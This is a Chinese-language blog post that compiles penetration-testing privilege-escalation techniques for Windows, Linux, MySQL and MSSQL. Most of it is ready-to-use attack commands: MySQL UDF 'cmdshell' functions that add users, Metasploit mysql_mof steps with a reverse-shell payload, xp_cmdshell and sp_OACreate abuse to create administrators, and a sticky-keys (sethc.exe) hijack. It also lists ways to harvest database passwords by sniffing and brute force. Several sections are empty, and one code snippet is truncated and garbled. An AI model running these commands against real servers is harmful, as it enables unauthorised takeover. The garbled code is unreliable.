滲透測試——提權方式總結

橘子女俠發表於2019-06-11

(內容整理自網路)

一、 什麼是提權

提權就是通過各種辦法和漏洞,提高自己在伺服器中的許可權,以便控制全域性。

Windows:User >> System
Linux:User >> Root

二、怎樣進行提權(提權的方式有哪些)

1.、系統漏洞提權(Linux、Windows)

2、資料庫提權

3、系統配置錯誤提權

4、許可權繼承類提權

5、第三方軟體/服務提權

6、WebServer漏洞提權

1、系統漏洞提權

系統漏洞提權一般就是利用系統自身缺陷,用來提升許可權。為了使用方便,windows和linux系統均有提權用的可執行檔案。

Windows的提權exp一般格式為MS08067.exe;
Linux的提權exp一般格式為2.6.18-194或2.6.18.c。

(1)Windows提權

1.1> 漏洞編號命名格式

Windows系統漏洞編號命名格式為:MS08067

其中:MS是Micosoft的縮寫,固定格式;08 表示年份,即2008年釋出的漏洞;067 表示順序,即當年度釋出的第67個漏洞。

1.2> 使用exp提權

在日常滲透測試過程中,我們常常會先是拿到webshell再進行提權。所以提權指令碼也常常會被在webshell中執行使用。

那麼我們如何知道使用哪個exp來提權呢?

我們可以使用systeminfo命令或者檢視補丁目錄,檢視補丁記錄,來判斷有哪個補丁沒打,然後使用相對應的exp進行提權。

KB2645640   MS12-009
KB2641653   MS12-018
KB952004     MS09-012 Pr.exe
KB956572     MS09-012 巴西烤肉
KB971657     MS09-041
KB2620712   MS11-097
KB2393802   MS11-011 ms11011.exe
KB942831     MS08-005
KB2503665   MS11-046 ms11046.exe
KB2592799   MS11-080 ms11080.exe

 

(2)Linux系統提權

Linux系統漏洞的exp一般按照核心版本來命名:2.6.18-194或2.6.18.c

形如2.6.18-194,可以直接執行;形如2.6.18.c,需要編譯後執行,提權。當然也有少部分exp是按照發行版版本命名。

使用exp

  • 一般情況下linux的本地提權要用nc反彈出來,因為Linux下提升許可權後得到的是互動式shell,需反彈才能進行下一步命令的執行。
  • 我們可以使用uname -a命令或者cat /proc/version,來判斷系統的核心情況等等,然後使用相對應的exp進行提權。

注:

  • 提權過程中需要為你的提權exp賦權,chmod。
  • linux伺服器很多情況下管理員會設定目錄許可權,我們無法修改,但是一般/tmp/目錄不會被設定許可權,這和windows下的tmp和回收站是一個道理,所以我們可以將exp存放到/tmp目錄下。

2、資料庫提權

資料庫提權是指:通過執行資料庫語句、資料庫函式等方式提升伺服器使用者的許可權。

首先我們要先有能力登入資料庫,所以通常我們拿到webshell之後要去網站目錄去找資料庫連線檔案,常在形如xxx.conf或conf.xxx檔案中。

(1)MySQL資料庫提權

MySQL資料庫一般是使用udf(使用者自定義函式)提權或mof(託管物件格式)提權。

1.1> udf提權(使用者自定義函式)

條件:
1、系統版本(Windows2000,XP,Win2003);
2、擁有MYSQL的某個賬號,且該賬號具有對msql的insert與delete許可權;
3、具有root賬號密碼。

使用方法:
1、獲取當前mysql的一個資料庫連線資訊,通常包含地址、埠、賬號、密碼、庫名等五個資訊。
2、把udf專用的webshell傳到伺服器上,訪問並進行資料庫連線。
3、連線成功後,匯出DLL檔案。

注:

  • Mysql<5.0,匯出路徑隨意;
  • 5.0<=mysql<5.1,則需要匯出至目標伺服器的系統目錄(如:system32),否則在下一步操作中你會看到“No paths allowed for shared library”錯誤;
  • mysql>5.1,需要匯出dll到外掛路徑,例如:D:\Program Files\MySQL\MySQL Server 5.1.3\lib\plugin
  • 若mysql>=5.0,語句中的DLL不允許帶全路徑,如果在第二步中已將DLL匯出到系統目錄,那麼你就可以省略路徑而使命令正常執行,否則將會看到”Can’t open shared library“錯誤。
  • 如果提示“Function ‘cmdshell’ already exists”,則輸入下列語句可以解決:drop function cmdshell;

4、使用SQL語句建立自定義函式。語法如下:

Create Function 函式名 returns string soname '匯出的DLL路徑';
eg: Create Function cmdshell returns string soname 'udf.dll';

功能函式說明:

  • cmdshell 執行cmd;
  • downloader 下載者,到網上下載指定檔案並儲存到指定目錄;
  • open3389 通用開3389終端服務,可指定埠(不改埠無需重啟);
  • backshell 反彈Shell;
  • ProcessView 列舉系統程式;
  • KillProcess 終止指定程式;
  • regread 讀登錄檔;
  • regwrite 寫登錄檔;
  • shut 關機,登出,重啟;
  • about 說明與幫助函式;

5、建立函式成功後,就可以通過sql語句呼叫它了。

語法如下:
select 建立的函式名 ('引數列表');
eg: select cmdshell("net user nsfocus Nsf0cus /add");建立一個使用者nsfocus,密碼為Nsf0cus

6、函式使用完後,我們需要把之前生成的DLL和建立的函式刪除掉,但要注意次序,必須先刪除函式再刪除DLL。

刪除函式的語法如下:
drop function 建立的函式名;
eg: drop function cmdshell;

整體思路:

  • 匯出C:\windows\udf.dll
  • Create Function cmdshell returns string soname 'udf.dll';
  • select cmdshell('whoami')
  • drop function cmdshell

1.2>  Mof提權(託管物件格式)

提權c:/windows/system32/wbem/mof/

  • use exploit/windows/mysql/mysql_mof
  • set password xxx
  • set username xxx
  • set rhost xxx
  • set rport xxx
  • set payload windows/shell_reverse_tcp
  • set lhost xxx
  • set lport xxx
  • exploit

(2)Mssql資料庫提權

Mssql資料庫提權總結

在SA許可權下

  1. 存在xp_cmdshell時
    使用xp_cmdshell執行命令新增使用者,當出現錯誤可以恢復和開啟xp_cmdshell
  2. xp_cmdshell無法使用時
    使用sp_OACreate執行命令,同樣當出現錯誤可以恢復和開啟
  3. 當執行命令無法使用時可以用沙盒提權 (使用xp_regwrite和openrowset)
  4. 當只有xp_regwrite可用時可以劫持粘滯鍵(sethc.exe)
    使用xp_regwrite修改登錄檔

DBA許可權下

  1. 備份到網站目錄
  2. 通過備份檔案到啟動項提權

2.1> SA口令獲取方法

2.1.1 Webshell或原始碼獲取

一般在網站的配置檔案中有存放明文賬號密碼,常用配置檔名如:

conn.aspx
config.aspx
config.php
web.config
.........

一般格式如:

server=localhost;
UID=sa;
PWD=shadowflow

2.1.2原始碼洩露

網站原始碼洩露情況主要以程式設計師上傳程式碼到git等開源平臺或更新程式碼時未刪除備份檔案(.svn、.git、.bak),以及運維人員打包原始碼到網站伺服器(www.rar等)。

2.1.3嗅探

在區域網中使用cain等工具進行arp嗅探的時候可以抓取到1433埠的資料庫明文登入密碼

2.1.4口令暴力破解

利用mssql暴力破解工具對mssql進行暴力破解,一旦成功將獲得sa相應許可權

2.2> 常用SQL Server提權語句

檢視資料庫版本:select @@version

檢視資料庫系統引數:exec master..xp_msver;

檢視使用者所屬角色資訊:sp_helpsrvrolemember

檢視當前資料庫:select db_name()

顯示機器上的驅動器:xp_availablemedia

檢視當前賬戶許可權

select IS_SRVROLEMEMBER('sysadmin') #判斷是否為sa許可權

類似serveradmin,setupadmin,securityadmin,diskadmin,bulkadmin

select IS_MEMBER('db_owner') #判斷是否為dbo許可權

新增使用者

exec master.dbo.sp_addlogin test,password #新增使用者

exec master.dbo.sp_addsrvrolemember test,sysadmin #加許可權

啟動停止服務

exec master..xp_servicecontrol 'stop','test'

exec master..xp_servicecontrol 'start','test'

檢查功能

SELECT count(*)FROM master.dbo.sysobjects WHERE name='xp_cmdshell'

xp_cmdshell, xpregread,sp_makewebtask,xp_subdirs,xp_dirtree, sp_addextendedproc


xp_cmdshell

1、開啟xp_cmdshell儲存過程

exec sp_configure 'show advanced options',1;RECONFIGURE;
exec sp_configure 'xp_cmdshell',1;RECONFIGURE;

2、關閉xp_cmdshell儲存過程

exec sp_configure 'show advanced options', 1, RECONFIGURE;
exec sp_configure 'xp_cmdshell',0;RECONFIGURE;

3、xp_cmdshell執行命令

exec master..xp_cmdshell 'ver'
exec master.dbo.xp_cmdshell 'net localgroup administrators test /add'

4、恢復xp_cmdshell

exec sp_dropextendedproc 'xp_cmdshell'

dbcc addextendedproc ("xp_cmdshell","xplog70.dll) OR dbcc addextendedproc ("xp_cmdshell","d:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll");EXEC sp_configure 'show advanced options', 0 --

sp_OACreate

1、開啟sp_OACreate
exec sp_configure 'show advanced options', 1;RECONFIGURE;
exec sp_configure 'Ola Automation Procedures' , 1;RECONFIGURE;

2、關閉sp_OACreate
exec sp_configure 'show advanced options',1;RECONFIGURE;
exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE;

3、禁用advanced options
EXEC sp_configure 'show advanced options',0;GO RECONFIGURE;

4、sp_OACreate執行命令

DECLARE @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js,'Language','JavaScript'
ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'

5、sp_OACreate移動檔案
declare @aa int
exec sp_oacreate 'scripting.filesystemobject' @aa out
exec sp_oamethod @aa, 'moveFile',null,'c:\temp\ipmi.log','c:\temp\ipmi1.log';

6、sp_OACreate複製檔案

declare @o int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o,'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';

7、sp_OACreate刪除檔案

DECLARE @Result int

DECLARE @FSO_Token int

EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT

EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile',NULL,'c:\Documents and Settings\All Users\ [開始] 選單\程式\啟動\user.bat'

EXEC @Result = sp_OADestrop @FSO_Token

8、wscript.shell執行命令

9、Shell.Application執行命令

10、sp_oacreate 替換貼上鍵

沙盒執行命令

openrowset開啟

openrowset關閉

沙盒執行命令

登錄檔篡改

登錄檔劫持貼上鍵

3、系統配置不當提權

利用配置不當提權

  •     前提:已經成功滲透進目標系統;
  •     相比利用漏洞提權,是更常用的方法;
  •     在大部分企業中,會將系統的漏洞即時進行補丁更新,難以通過系統自身我的漏洞進行入侵;
  •     可以查詢系統中以system許可權啟動的服務或應用,可以嘗試將其替換或者反彈shell的方式提權;
  •     可以查詢NTFS許可權允許users修改刪除的應用,利用配置不當進行提權;
  •     程式碼中是否有過濾引數的操作等都可以加以利用,進行提取;

4、許可權繼承類提權

開機啟動項提權?
windows開機時候都會有一些開機啟動的程式,那時候啟動的程式許可權都是system,因為是system把他們啟動的,利用這點,我們可以將自動化指令碼寫入啟動項,達到提權的目的。

5、第三方軟體/服務提權

6、WebServer漏洞提權

相關文章